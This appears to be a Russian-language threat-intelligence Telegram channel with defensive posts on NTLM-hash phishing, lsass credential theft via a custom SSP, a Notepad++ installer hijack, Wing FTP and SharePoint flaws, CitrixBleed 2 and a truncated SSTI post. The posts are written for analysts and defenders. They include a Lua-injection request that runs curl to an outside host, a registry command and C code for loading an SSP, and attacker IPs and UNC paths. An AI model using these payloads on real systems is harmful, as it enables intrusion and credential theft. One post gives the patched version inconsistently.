Сбор хешей продолжается
В январе этого года эксперты PT ESC сообщали о фишинговой кампании группировки PhaseShifters (Sticky Werewolf, Angry Likho) по сбору NTLM-хешей. Мы также следили за этой активностью и обнаружили, что злоумышленники продолжают сбор, но уже с нового IP-адреса из той же подсети (
Новый IP-адрес активно используется с января этого года по настоящее время. Мы обнаружили более 40 различных документов формата DOCX на популярном публичном сервисе мультисканера, у которых в
Например,
При открытии документов в Word со ссылками вида
Утечка NTLM-хеша происходит даже в случае отсутствия файла изображения — злоумышленники используют случайные названия в ссылках.
Песочницы в подобных документах не находят ничего вредоносного, что может вводить в заблуждение неопытных пользователей. Одна из причин — при детонации вредоносные файлы не загружаются, не создаются и не выполняются.
Примеры фишинговых писем, использовавших новый IP-адрес — скриншоты 1 и 2.
Имена документов — скриншот 3.
Большинство документов загружались из России, часть — из Беларуси.
Новый прием
Среди документов мы обнаружили два архива, которые привлекли наше внимание (скриншот 4).
Оба архива содержали один и тот же LNK-файл под разными именами (скриншот 5).
В параметре
Дело в том, что этот LNK-файл позволяет утечь NTLM-хешу даже без его открытия пользователем. Жертве достаточно распаковать архив и посмотреть содержимое каталога с LNK-файлом — все, NTLM-хеш будет украден.
Иными словами, достаточно просто открыть каталог с таким LNK-файлом — и NTLM-хеш пользователя станет известен злоумышленникам. Подобная утечка хеша в LNK-файлах считается «by design» и не является уязвимостью.
Идея эксплуатировать UNC-пути ради перехвата хешей не нова. Мы недавно писали, как детектировать похожую уязвимость (CVE-2025-24071), но только в library-ms-файлах.
Сам прием создания таких LNK-файлов известен давно, однако злоумышленники скорее всего черпали вдохновение из этой статьи 2020 года по следующим совпадениям:
1️⃣ наличие в lnk-файлах аналогичного hot key Ctrl+Alt+O;
2️⃣ использование @ в начале имени изображения в ссылке для отображения файла поверх остальных и упрощения взаимодействия пользователя с ним.
IOCs
С2 для сбора NTLM-хешей
Архивы с LNK-файлом (март 2025)
LNK-файл
Документы с утечкой NTLM-хеша
В январе этого года эксперты PT ESC сообщали о фишинговой кампании группировки PhaseShifters (Sticky Werewolf, Angry Likho) по сбору NTLM-хешей. Мы также следили за этой активностью и обнаружили, что злоумышленники продолжают сбор, но уже с нового IP-адреса из той же подсети (
31.214.157.162
). В некоторых случаях применяют новую технику для утечки данных.Новый IP-адрес активно используется с января этого года по настоящее время. Мы обнаружили более 40 различных документов формата DOCX на популярном публичном сервисе мультисканера, у которых в
word\_rels\document.xml.rels
присутствуют ссылки на изображения вида:file://\31.214.157.162\<random_name>.png
Например,
file://\31.214.157.162\xQGIc9qBS82QXWuC2g7L.png
При открытии документов в Word со ссылками вида
file://<IP_address>\<image>
система (процесс svchost.exe) обрабатывает ссылку как UNC-путь и инициирует SMB-соединение c указанным IP-адресом в попытке загрузить изображение. Это приводит к утечке имени пользователя, домена и NTLM-хеша. Методом перебора из NTLM-хеша можно восстановить пароль (успех восстановления зависит от сложности пароля) или использовать сам хеш в атаках Pass-the-Hash. Так группировка PhaseShifters проводит разведку и собирает аутентификационные данные, которые могут использоваться при взломе.Утечка NTLM-хеша происходит даже в случае отсутствия файла изображения — злоумышленники используют случайные названия в ссылках.
Песочницы в подобных документах не находят ничего вредоносного, что может вводить в заблуждение неопытных пользователей. Одна из причин — при детонации вредоносные файлы не загружаются, не создаются и не выполняются.
Примеры фишинговых писем, использовавших новый IP-адрес — скриншоты 1 и 2.
Имена документов — скриншот 3.
Большинство документов загружались из России, часть — из Беларуси.
Новый прием
Среди документов мы обнаружили два архива, которые привлекли наше внимание (скриншот 4).
Оба архива содержали один и тот же LNK-файл под разными именами (скриншот 5).
В параметре
Target
у этого файла также содержалась ссылка для утечки NTLM-хеша:\\31.214.157.162\@94OcMlGHaq.png
Возникает вопрос: зачем злоумышленники поместили в архив помимо DOCX-файла еще и LNK-файл?
Дело в том, что этот LNK-файл позволяет утечь NTLM-хешу даже без его открытия пользователем. Жертве достаточно распаковать архив и посмотреть содержимое каталога с LNK-файлом — все, NTLM-хеш будет украден.
Иными словами, достаточно просто открыть каталог с таким LNK-файлом — и NTLM-хеш пользователя станет известен злоумышленникам. Подобная утечка хеша в LNK-файлах считается «by design» и не является уязвимостью.
Идея эксплуатировать UNC-пути ради перехвата хешей не нова. Мы недавно писали, как детектировать похожую уязвимость (CVE-2025-24071), но только в library-ms-файлах.
Сам прием создания таких LNK-файлов известен давно, однако злоумышленники скорее всего черпали вдохновение из этой статьи 2020 года по следующим совпадениям:
IOCs
С2 для сбора NTLM-хешей
31.214.157.162
Архивы с LNK-файлом (март 2025)
42c2c1fc08a23cfddeb4454c48b204b187529eec55499931af311c1fb7147b52
d49719c4f61485d14031a64b8f28ee663c61a91d142e4149a32fa7a98a6c30a6
LNK-файл
00c5876f07d463b3c5519d630b9868ddcddf631375ff17c4910e22fab196a442
Документы с утечкой NTLM-хеша
7d979f396b68294bb8077e05253086f9fb7a789a0e5ab866857669b7a2f1d45a
eeffda92e025ac69e2235f654c2ac7d84c6d18208f0e4183770c876d5f1d9993
2b75c2e499d4e67bc00f45aa28aa09b04c3537a9b4347cfef7fe8d391ca764d7
e41abc39f533e0d62991b7f0199b954ca76d415717126a3e6012e9711e689e47
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍9❤6🤨1👾1
Как группировка Erudite Mogwai перехватывает учетные данные Windows. Часть 1
При расследовании атаки группировки
Эта библиотека — кастомный
Как внедряют такую DLL SSP в процесс lsass.exe? Есть два способа.
1️⃣ Регистрация через реестр как LSA Security Package
— Поместить кастомный SSP DLL в
— Прописать его как
— Перезагрузить систему
2️⃣ Загрузка через API-вызов AddSecurityPackage
— Загрузить DLL с помощью функции
Пример кода, реализующий этот метод:
➕ Плюсы этого метода:
DLL можно разместить в любом месте
Не нужна перезагрузка
❌ Минус:
После перезагрузки SSP выгрузится из пространства процесса
Группировка Erudite Mogwai в своей атаке использовала один из этих методов. Какой — угадаете?
🔥 — если голосуете за первый вариант
❤️ — если голосуете за второй
Завтра раскроем карты!
При расследовании атаки группировки
Erudite Mogwai (aka Space Pirates)
на одного из клиентов мы нашли модифицированную библиотеку mimilib.dll
. Windows Defender ее не заметил, потому что злоумышленники при модификации оставили только одну экспортную функцию SpLsaModeInitialize
и убрали все строки, на которые могли бы сработать сигнатуры АВПО. Эта библиотека — кастомный
Security Support Provider (SSP)
. После загрузки в память процесса lsass.exe
SSP перехватывает и записывает в лог-файл учетные данные пользователя, когда он проходит аутентификацию.Как внедряют такую DLL SSP в процесс lsass.exe? Есть два способа.
— Поместить кастомный SSP DLL в
%systemroot%\system32
— Прописать его как
LSA Security Packages
через реестр:reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0<custom_ssp_name>" /t REG_MULTI_SZ /f
— Перезагрузить систему
— Загрузить DLL с помощью функции
AddSecurityPackage
из библиотеки Secur32.lib
. Пример кода, реализующий этот метод:
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")
int main()
{
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"<path_to_ssp_dll>", &spo);
return 0;
}
DLL можно разместить в любом месте
Не нужна перезагрузка
После перезагрузки SSP выгрузится из пространства процесса
lsass.exe
Группировка Erudite Mogwai в своей атаке использовала один из этих методов. Какой — угадаете?
🔥 — если голосуете за первый вариант
❤️ — если голосуете за второй
Завтра раскроем карты!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤23🔥13🤔2👍1👾1
Как группировка Erudite Mogwai перехватывает учетные данные Windows. Часть 2
В прошлом посте мы рассказывали о методе перехвата учетных данных группировки
👀 Злоумышленники применили метод загрузки SSP через вызов
Как хакеры скрывали активность?
😬 Подменой журнала Windows Defender:
Строка
Такой трюк запутывает аналитиков:
— Имя и путь вредоносного файла совпадают с легитимным.
— При перезаписи файл сохраняет большинство временных меток.
— АВПО продолжает логировать события в уже подмененный файл, из-за чего размер файла и временная метка модификации файла постоянно меняются (скриншот 2).
❗️ Последний пункт может помочь определить примерную дату подмены по первому событию в логе.
😬 Мимикрией при сохранении учетных данных
Для сокрытия перехваченных учетных данных злоумышленники использовали мимикрию — креды добавляли в конец легитимного файла (скриншот 3):
Этот файл используется службой индексации Windows для фильтрации общих слов и строк, хранящихся в нем.
В публичном мультисканнере мы нашли аналогичную библиотеку с логами Windows Defender в конце файла. Время компиляции, имя и хеш-суммы файлов без оверлей совпадают.
Вероятно группировка Erudite Mogwai использует такую мимикрию с конца 2024 года.
Original dll-name: TESTSSP.dll
Итог: те, кто поставил сердечки — правы!
Отмечаем победу лайком ❤️
В прошлом посте мы рассказывали о методе перехвата учетных данных группировки
Erudite Mogwai (aka Space Pirates)
. Тогда вы угадывали, какой способ они использовали. Сегодня — правильный ответ!AddSecurityPackage
. Этот способ оставляет меньше артефактов на атакуемой системе и помогает проще скрыться.Как хакеры скрывали активность?
C:\Windows\Temp\MpCmdRun.log
Строка
SSSPotless
из ITW-образца указывает, что злоумышленники использовали исходный код модифицированной mimilib.dll из статьи на портале Red Team Notes (скриншот 1).Такой трюк запутывает аналитиков:
— Имя и путь вредоносного файла совпадают с легитимным.
— При перезаписи файл сохраняет большинство временных меток.
— АВПО продолжает логировать события в уже подмененный файл, из-за чего размер файла и временная метка модификации файла постоянно меняются (скриншот 2).
Для сокрытия перехваченных учетных данных злоумышленники использовали мимикрию — креды добавляли в конец легитимного файла (скриншот 3):
C:\Windows\System32\NOISE.DAT
Этот файл используется службой индексации Windows для фильтрации общих слов и строк, хранящихся в нем.
В публичном мультисканнере мы нашли аналогичную библиотеку с логами Windows Defender в конце файла. Время компиляции, имя и хеш-суммы файлов без оверлей совпадают.
Вероятно группировка Erudite Mogwai использует такую мимикрию с конца 2024 года.
Original dll-name: TESTSSP.dll
fab60386c473d58cb0772a49e2737ae5
6bd3a19b87648d368b5b2286f5018d7342bfe060
aea34cadab9a0d5774c9132251a301c8856047b0db481f0b2e53d5d30a407ff0
Итог: те, кто поставил сердечки — правы!
Отмечаем победу лайком ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤33👍9🔥2😁2👾1
В последних версиях Notepad ++ обнаружена уязвимость CVE-2025-49144, которая может позволить злоумышленникам повысить привилегии до SYSTEM.
Эта уязвимость находится в логике поиска бинарных файлов для регистрации различных компонентов Notepad++ во время установки его инсталлером. Для некоторых компонентов не указаны абсолютные пути. Таким образом сам инсталлятор Notepad ++ подвержен уязвимости к порядку поиска компонентов (Search Order).
👍 Что происходит
Во время установки Notepad ++ запускает следующие бинарные файлы, уязвимые к Search Order Hijack:
1. regsvr32.exe регистрирует COM-компонент библиотеки NppShell.dll в реестре.
NppShell.dll — это DLL, содержащая включает в себя несколько COM-объектов. Ее цель — интеграция иконки Notepad ++ в контекстное меню при правом клике мыши на какой-либо файл для открытия его Notepad'ом.
2. rundll32.exe вызывается только при переустановке Notepad ++ на систему
Из библиотеки NppShell.dll вызывается функция CleanupDll — она отвечает за удаление модуля NppShell, если он уже присутствует на системе. Таким образом происходит переустановка или обновление.
Злоумышленники могут воспользоваться особенностью порядка поиска в Windows в случае указания не абсолютных путей:
1. Папка, где было запущено приложение
2. System32
3. /Windows/
4. WorkingDirectory
5. PATH переменная окружения
Таким образом, любой бинарный файл, который мы назовем одноименно с regsvr32.exe или rundll32.exe и поместим в одну папку с инсталером, будет запущен с повышенным уровнем целостности, так как установка инициирует прохождение UAC. Имея в распоряжении подобный процесс, злоумышленникам не составит труда подняться до SYSTEM.
Недавно Notepad ++ выпустили релиз версии 8.2.2, где исправили эту уязвимость. Чтобы проверить исправление, достаточно посмотреть параметры вызова CreateProcessW в процессе установки различных версий Notepad.
👍 Как проверить, исправлена ли уязвимость
В старой версии 8.6.8 (верхний скриншот) отсутствует абсолютный путь до rundll32.exe в параметрах вызова CreateProcessW
В обновленной версии 8.8.2 (нижний скриншот) указан абсолютный путь
Рекомендации по mitigation\detection
1. Обновление Notepad++ до последней версии 8.8.2, где устранена уязвимость порядка поиска
2. Отслеживание подозрительных запусков rundll32.exe и regsvr32.exe из нестандартных директорий (C:\Windows\System32|C:\Windows\SysWoW64)
Эта уязвимость находится в логике поиска бинарных файлов для регистрации различных компонентов Notepad++ во время установки его инсталлером. Для некоторых компонентов не указаны абсолютные пути. Таким образом сам инсталлятор Notepad ++ подвержен уязвимости к порядку поиска компонентов (Search Order).
Во время установки Notepad ++ запускает следующие бинарные файлы, уязвимые к Search Order Hijack:
1. regsvr32.exe регистрирует COM-компонент библиотеки NppShell.dll в реестре.
regsvr32 /s "C:\Program Files\Notepad++\contextMenu\NppShell.dll"
NppShell.dll — это DLL, содержащая включает в себя несколько COM-объектов. Ее цель — интеграция иконки Notepad ++ в контекстное меню при правом клике мыши на какой-либо файл для открытия его Notepad'ом.
2. rundll32.exe вызывается только при переустановке Notepad ++ на систему
rundll32.exe "C:\Program Files\Notepad++\contextmenu\NppShell.dll",CleanupDll
Из библиотеки NppShell.dll вызывается функция CleanupDll — она отвечает за удаление модуля NppShell, если он уже присутствует на системе. Таким образом происходит переустановка или обновление.
Злоумышленники могут воспользоваться особенностью порядка поиска в Windows в случае указания не абсолютных путей:
1. Папка, где было запущено приложение
2. System32
3. /Windows/
4. WorkingDirectory
5. PATH переменная окружения
Таким образом, любой бинарный файл, который мы назовем одноименно с regsvr32.exe или rundll32.exe и поместим в одну папку с инсталером, будет запущен с повышенным уровнем целостности, так как установка инициирует прохождение UAC. Имея в распоряжении подобный процесс, злоумышленникам не составит труда подняться до SYSTEM.
Недавно Notepad ++ выпустили релиз версии 8.2.2, где исправили эту уязвимость. Чтобы проверить исправление, достаточно посмотреть параметры вызова CreateProcessW в процессе установки различных версий Notepad.
В старой версии 8.6.8 (верхний скриншот) отсутствует абсолютный путь до rundll32.exe в параметрах вызова CreateProcessW
В обновленной версии 8.8.2 (нижний скриншот) указан абсолютный путь
Рекомендации по mitigation\detection
1. Обновление Notepad++ до последней версии 8.8.2, где устранена уязвимость порядка поиска
2. Отслеживание подозрительных запусков rundll32.exe и regsvr32.exe из нестандартных директорий (C:\Windows\System32|C:\Windows\SysWoW64)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍12❤9🤔4⚡2👾2
Десятибалльная уязвимость CVE-2025-47812 в Wing FTP Server: что важно знать
CVE-2025-47812 — критическая уязвимость, которая позволяет выполнить удалённый код (RCE) через инъекцию LUA. Она затрагивает версии Wing FTP Server до 7.4.4 и связана с неправильной обработкой нулевого байта (\0 или %00) в имени пользователя.
Метрики
Эта уязвимость опасна не только для панели авторизации пользователей, но и для панели авторизации администратора.
Как работает атака
— Атакующий вставляет LUA-скрипт в поле username при авторизации.
— Сервер возвращает ответ с cookie, содержащим UID или UIDADMIN.
— Атакующий посылает запрос на любой защищённый эндпоинт, доступный после авторизации, с заголовком из этого cookie.
В результате — удаленное выполнение кода.
Важно: для успешной атаки не нужны действительные учётные данные, если включён анонимный вход.
О конечных точках
На сегодняшний момент публичные эксплойты атакуют конечную точку
Пример атаки на панель авторизации администратора
1. Отправляем POST запрос на
В параметре username отправляется
2. Отправляем запрос с полученным UIDADMIN (скриншот 2).
3. Получаем запрос от атакуемого сервера (скриншот 3).
Для атаки необходимо знать данные авторизации администратора. А LUA-код может быть любым.
Как защититься
На WAF можно написать правило, блокирующее POST запросы на уязвимые конечные точки
Настоятельно рекомендуем обновиться на версию от 7.4.4.
CVE-2025-47812 — критическая уязвимость, которая позволяет выполнить удалённый код (RCE) через инъекцию LUA. Она затрагивает версии Wing FTP Server до 7.4.4 и связана с неправильной обработкой нулевого байта (\0 или %00) в имени пользователя.
Метрики
Base Score : 10 Critical
CWE: CWE-158
Эта уязвимость опасна не только для панели авторизации пользователей, но и для панели авторизации администратора.
Как работает атака
— Атакующий вставляет LUA-скрипт в поле username при авторизации.
— Сервер возвращает ответ с cookie, содержащим UID или UIDADMIN.
— Атакующий посылает запрос на любой защищённый эндпоинт, доступный после авторизации, с заголовком из этого cookie.
В результате — удаленное выполнение кода.
Важно: для успешной атаки не нужны действительные учётные данные, если включён анонимный вход.
О конечных точках
На сегодняшний момент публичные эксплойты атакуют конечную точку
loginok.html
. Однако, как мы уже писали, уязвима и панель авторизации администратора на admin_loginok.html
./loginok.html
— вход для пользователей./admin_loginok.html
— вход для администратора.Пример атаки на панель авторизации администратора
1. Отправляем POST запрос на
/admin_loginok.html
с телом (скриншот 1):username=admin%00]];os.execute("curl+https://yzvsXXX.oast.fun")%0d--&password=admin1234&username_val=admin&password_val=admin1234
В параметре username отправляется
Curl
, на внешний сервер, через os.execute
.2. Отправляем запрос с полученным UIDADMIN (скриншот 2).
3. Получаем запрос от атакуемого сервера (скриншот 3).
Для атаки необходимо знать данные авторизации администратора. А LUA-код может быть любым.
Как защититься
На WAF можно написать правило, блокирующее POST запросы на уязвимые конечные точки
/loginok.html
и /admin_loginok.html
с телом сообщения, которое содержит нулевой бай
. Например, через подобное регулярное выражение: (%00|\x00).*?[:=\.-]+
Настоятельно рекомендуем обновиться на версию от 7.4.4.
🔥14❤11🫡5⚡1
Как и зачем анализировать ссылки на Discord при расследовании?
Иногда злоумышленники размещают вредоносные файлы на CDN-серверах Discord — платформе, которая с октября 2024 заблокирована в России. Например, ссылка для загрузки файла может выглядеть так:
Как читать такие ссылки, чтобы получить из них максимум полезной информации
Ссылка выше имеет следующий формат:
channel_id ->
attachment_id ->
Номера id записываются в формате Snowflake. Вот, что об этом пишут в документации:
Что мы можем узнать
— channel_id — дата создания канала, в котором опубликовано сообщение с вложением.
— attachment_id — дата создания сообщения с вложением.
В значениях id первые 42 бита — время в миллисекундах с Discord Epoch = 2015-01-01T00:00:00Z.
Вывод: эта ссылка создана 2025-06-19 19:05:58Z и истекает 2025-06-20 19:05:58Z. Есть онлайн-сервисы для декодирования: snowsta.mp, discord.id и другие.
Еще одно важное изменение — с 2024 года Discord применяет подписанные временные CDN-ссылки на вложения. Обычно они действуют всего 24 часа. В таких ссылках также появились дополнительные параметры в URL:
Итого, вот какие данные вы можете узнать из ссылки на Discord
— дату создания канала (декодируется онлайн-сервисами);
— дату публикации сообщения с вложением (декодируется онлайн-сервисами);
— дату создания и окончания действия ссылки (из параметров
Иногда злоумышленники размещают вредоносные файлы на CDN-серверах Discord — платформе, которая с октября 2024 заблокирована в России. Например, ссылка для загрузки файла может выглядеть так:
https://cdn.discordapp.com/attachments/1385333150288183437/1385334815095787740/attachment.rar?ex=6855b116&is=68545f96&hm=6b61feec556011ad9f14fd362cf376dd4d3f22da46cc0a80d5cc42d611d77eee&
Как читать такие ссылки, чтобы получить из них максимум полезной информации
Ссылка выше имеет следующий формат:
https://cdn.discordapp.com/
attachments/<channel_id>/<attachment_id>/attachment.rar
channel_id ->
1385333150288183437
attachment_id ->
1385334815095787740
.Номера id записываются в формате Snowflake. Вот, что об этом пишут в документации:
Discord использует формат Snowflake, разработанный в X (ранее Twitter), для уникальных идентификаторов.
Что мы можем узнать
— channel_id — дата создания канала, в котором опубликовано сообщение с вложением.
— attachment_id — дата создания сообщения с вложением.
В значениях id первые 42 бита — время в миллисекундах с Discord Epoch = 2015-01-01T00:00:00Z.
Вывод: эта ссылка создана 2025-06-19 19:05:58Z и истекает 2025-06-20 19:05:58Z. Есть онлайн-сервисы для декодирования: snowsta.mp, discord.id и другие.
Еще одно важное изменение — с 2024 года Discord применяет подписанные временные CDN-ссылки на вложения. Обычно они действуют всего 24 часа. В таких ссылках также появились дополнительные параметры в URL:
ex=6855b116&is=68545f96&hm=6b61feec556011ad9f14fd362cf376dd4d3f22da46cc0a80d5cc42d611d77eee&
is
— дата создания ссылки в hex (время в формате unix epoch).ex
— время истечения действия ссылки в hex.hm
— уникальная подпись, валидная до конца срока действия.Итого, вот какие данные вы можете узнать из ссылки на Discord
— дату создания канала (декодируется онлайн-сервисами);
— дату публикации сообщения с вложением (декодируется онлайн-сервисами);
— дату создания и окончания действия ссылки (из параметров
is
и ex
).🔥8❤6👍3🤯1👾1
Как и кого атаковали хакеры в 1 полугодии 2025? Расскажем на этой неделе.
Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Раз в полгода мы собираем самые интересные находки и рассказываем о них.
В этот четверг, 24 июля, в 12:00 наши эксперты Геннадий Сазонов и Владимир Нестор проведут вебинар «Хроники целевых кибератак 2025: аналитика, кейсы, рекомендации».
На вебинаре ребята расскажут:
🫡 Как изменился ландшафт целевых атак в первые 6 месяцев 2025 года;
🫡 Какие отрасли подверглись атакам, и кто атакует: цели, уровни сложности атак;
🫡 Какие техники и тактики использовали киберпреступники — разбор реальных кейсов.
Регистрация открыта!
Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Раз в полгода мы собираем самые интересные находки и рассказываем о них.
В этот четверг, 24 июля, в 12:00 наши эксперты Геннадий Сазонов и Владимир Нестор проведут вебинар «Хроники целевых кибератак 2025: аналитика, кейсы, рекомендации».
На вебинаре ребята расскажут:
Регистрация открыта!
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡5👍5❤4🤬1👾1
Как защититься от ToolShell — критические zero-day уязвимости в SharePoint
Недавно Microsoft выпустила патч для активно эксплуатируемых уязвимостей CVE-2025-53770 и CVE-2025-53771 в Microsoft SharePoint.
Цепочка уязвимостей CVE-2025-53770 и CVE-2025-53771 позволяет удаленно без аутентификации выполнять произвольный код. Это своего рода ProxyLogon 2.0, только для SharePoint! Сейчас доступны несколько PoC для CVE-2025-53770, поэтому интерес к эксплуатации этой уязвимости только подогревается.
У нас в блоге мы выпустили небольшой разбор особенностей эксплуатации этих уязвимостей и поделились компиляцией публично известных IOC. Читайте!
Но сначала рекомендуем проверить, есть ли в вашем периметре SharePoint-серверы. И если есть — следуйте рекомендациям.
👍 Рекомендации:
1) Убрать SharePoint-серверы из публичного доступа (например, за VPN).
2) Установить обновления:
— Июльские (CVE-2025-49701, CVE-2025-49703, CVE-2025-49704, CVE-2025-49706):
⚫️ SharePoint Server 2016 (KB5002744);
⚫️ SharePoint Server 2019 (KB5002741);
— Экстренные (CVE-2025-53770 и CVE-2025-53771):
⚫️ SharePoint Server 2016 (KB5002759, KB5002760 патчи выпустили вчера вечером, 21.07.2025);
⚫️ SharePoint Server 2019 (KB5002753, KB5002754);
⚫️ SharePoint Server Subscription Edition (KB5002768).
3) Заменить машинные ключи SharePoint и перезапустить IIS или сам сервер (подробно писали в этом посте).
👍 Как обнаружить эксплуатацию CVE-2025-53770? Что стоит проверить?
— наличие файла
В волнах атак он располагался по путям (отличаются каталогами 15 и 16):
С высокой долей вероятности будущие веб-шеллы будут располагаться в других местах и под другими именами, которые зависят от нагрузок для десериализации, поэтому необходимо также исследовать IIS-логи.
— наличие файла
— логи IIS на наличие:
POST-запросов на
GET-запросов на
Других GET-запросов на подозрительные aspx-файлы.
👍 Для детектирования атак/сканирования на IDS/WAF можно написать правило, которое блокирует POST запросы на URI
Недавно Microsoft выпустила патч для активно эксплуатируемых уязвимостей CVE-2025-53770 и CVE-2025-53771 в Microsoft SharePoint.
Цепочка уязвимостей CVE-2025-53770 и CVE-2025-53771 позволяет удаленно без аутентификации выполнять произвольный код. Это своего рода ProxyLogon 2.0, только для SharePoint! Сейчас доступны несколько PoC для CVE-2025-53770, поэтому интерес к эксплуатации этой уязвимости только подогревается.
У нас в блоге мы выпустили небольшой разбор особенностей эксплуатации этих уязвимостей и поделились компиляцией публично известных IOC. Читайте!
Но сначала рекомендуем проверить, есть ли в вашем периметре SharePoint-серверы. И если есть — следуйте рекомендациям.
1) Убрать SharePoint-серверы из публичного доступа (например, за VPN).
2) Установить обновления:
— Июльские (CVE-2025-49701, CVE-2025-49703, CVE-2025-49704, CVE-2025-49706):
⚫️ SharePoint Server 2016 (KB5002744);
⚫️ SharePoint Server 2019 (KB5002741);
— Экстренные (CVE-2025-53770 и CVE-2025-53771):
⚫️ SharePoint Server 2016 (KB5002759, KB5002760 патчи выпустили вчера вечером, 21.07.2025);
⚫️ SharePoint Server 2019 (KB5002753, KB5002754);
⚫️ SharePoint Server Subscription Edition (KB5002768).
3) Заменить машинные ключи SharePoint и перезапустить IIS или сам сервер (подробно писали в этом посте).
— наличие файла
spinstall0.aspx
.В волнах атак он располагался по путям (отличаются каталогами 15 и 16):
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\15\TEMPLATE\LAYOUTS\spinstall0.aspx
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx
С высокой долей вероятности будущие веб-шеллы будут располагаться в других местах и под другими именами, которые зависят от нагрузок для десериализации, поэтому необходимо также исследовать IIS-логи.
— наличие файла
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js
.— логи IIS на наличие:
POST-запросов на
/_layouts/15/ToolPane.aspx?DisplayMode=Edit
c Referrer /_layouts/SignOut.aspx
;GET-запросов на
/_layouts/15/spinstall0.aspx
;Других GET-запросов на подозрительные aspx-файлы.
/_layouts/15/ToolPane.aspx?DisplayMode=Edit
c заголовком Referrer /_layouts/SignOut.aspx
.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍7😱4🤬2🤡1👾1
Критическая уязвимость в Citrix NetScaler ADC and Gateway CVE-2025-5777 😳
CVE-2025-5777, известная как CitrixBleed 2, — это уязвимость утечки памяти во время парсинга некоторых POST-запросов, в частности из-за параметра
🫡 Метрики
🫡 Суть уязвимости
— Уязвимость возникает, когда отправляют POST-запрос c параметром
— В ответе сервера в XML-элементе
— Каждая такая операция может сливать примерно до 127 байт содержимого, что позволяет постепенно получать различные чувствительные данные из памяти.
🫡 Как работает эксплуатация
— Отправляется специально сконструированный POST-запрос на эндпоинт
— В параметрКак раз такая атака на скриншоте.
Первые упоминания о PoC появились около трёх недель назад, но в сети до сих пор находят уязвимые устройства. На сегодня известно о 14 публичных эксплойтах и двух шаблонах для сканера уязвимости😳
🫡 Как защититься
На WAF можно написать правило, которое блокирует
CVE-2025-5777, известная как CitrixBleed 2, — это уязвимость утечки памяти во время парсинга некоторых POST-запросов, в частности из-за параметра
login
. Уязвимость затрагивает NetScaler ADC и Gateway в версиях до выхода следующих патчей: 14.1 до 14.1-43.56, 13.1 до 13.1-58.32. В том числе вариации FIPS и NDcPP для версий 13.1 и 12.1.Base core: 9,3
CWE:
CWE-908
CWE-457
CWE-125
— Уязвимость возникает, когда отправляют POST-запрос c параметром
login
, но без знака равенства и значения.— В ответе сервера в XML-элементе
<InitialValue>
возвращается фрагмент содержимого неинициализированной памяти процесса.— Каждая такая операция может сливать примерно до 127 байт содержимого, что позволяет постепенно получать различные чувствительные данные из памяти.
— Отправляется специально сконструированный POST-запрос на эндпоинт
/p/u/doAuthentication.do
без необходимости аутентификации.— В параметр
login
передаётся строка без знака равенства и значения, login
может передаваться в разном регистре, например, Login
. Первые упоминания о PoC появились около трёх недель назад, но в сети до сих пор находят уязвимые устройства. На сегодня известно о 14 публичных эксплойтах и двух шаблонах для сканера уязвимости
Nuclei
. Самый свежий эксплойт опубликован четыре дня назад. Настоятельно рекомендуем обновиться На WAF можно написать правило, которое блокирует
POST-
запросы на URI /p/u/doAuthentication.do
c Body, состоящим только из параметра login
в разных регистрах.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8👍5🤔4❤2👾2🤬1🤩1
Proxy Trickster: эксплуатирует инфраструктуру круглосуточно и глобально 👀
Этой весной мы расследовали ИБ-инцидент в компании из IT-сектора. И выяснили, что главная цель атакующих — майнинг криптовалют и proxyjacking. Казалось бы, что интересного в заурядном майнере или инструменте для проксирования трафика?
Оказывается, есть:
🫡 необычные техники уклонения от обнаружения и скрытности;
🫡 построение целой архитектуры в виде скриптов и других приемов автоматизации;
🫡 следы использования утилиты gs-netcat и глобальный характер атаки: мы обнаружили свидетельства взлома нескольких сотен инфраструктур по всему миру.
Группировка активна с 2024 года. Мы назвали её Proxy Trickster и написали подробную статью о её работе. Читайте в блоге!
За срочными новостями о ToolShell забыли рассказать вам о новой группировке, которую мы обнаружили в одном из наших расследований. Исправляемся!
Этой весной мы расследовали ИБ-инцидент в компании из IT-сектора. И выяснили, что главная цель атакующих — майнинг криптовалют и proxyjacking. Казалось бы, что интересного в заурядном майнере или инструменте для проксирования трафика?
Оказывается, есть:
Группировка активна с 2024 года. Мы назвали её Proxy Trickster и написали подробную статью о её работе. Читайте в блоге!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥6🤔6👍2👾2⚡1😁1🤬1
SSTI на примере CVE-2025-53833
CVE-2025-53833 — критичная уязвимость внедрения шаблонов на стороне сервера в LaRecipe. Уязвимы версии до 2.8.1. Рекомендуем обновиться💣
LaRecipe — это открытый PHP-пакет, чтобы создавать документы в формате сайта. Его обычно используют для технической документации к проектам на Laravel, которые превращают Markdown-файлы в удобный веб-интерфейс с навигацией и поиском.
😬 Кратко о SSTI:
• Приложение использует шаблоны, чтобы генерировать HTML на сервере.
• Шаблонный движок поддерживает вставку переменных и выполнение функций.
• Если ввод пользователя подставляется в шаблон без фильтрации, то возможна инъекция.
• Злоумышленник может выполнить произвольный код на сервере.
В LaRecipe работает следующий механизм:
Сервер обрабатывает данные из URL запроса пользователя ⮕ компилирует
Если конкретнее, он формирует дополнительные ссылки на документы. Например:
👁 Пользователь ввел:
👁 Сервер вернул HTML :
😬 Суть уязвимости CVE-2025-53833:
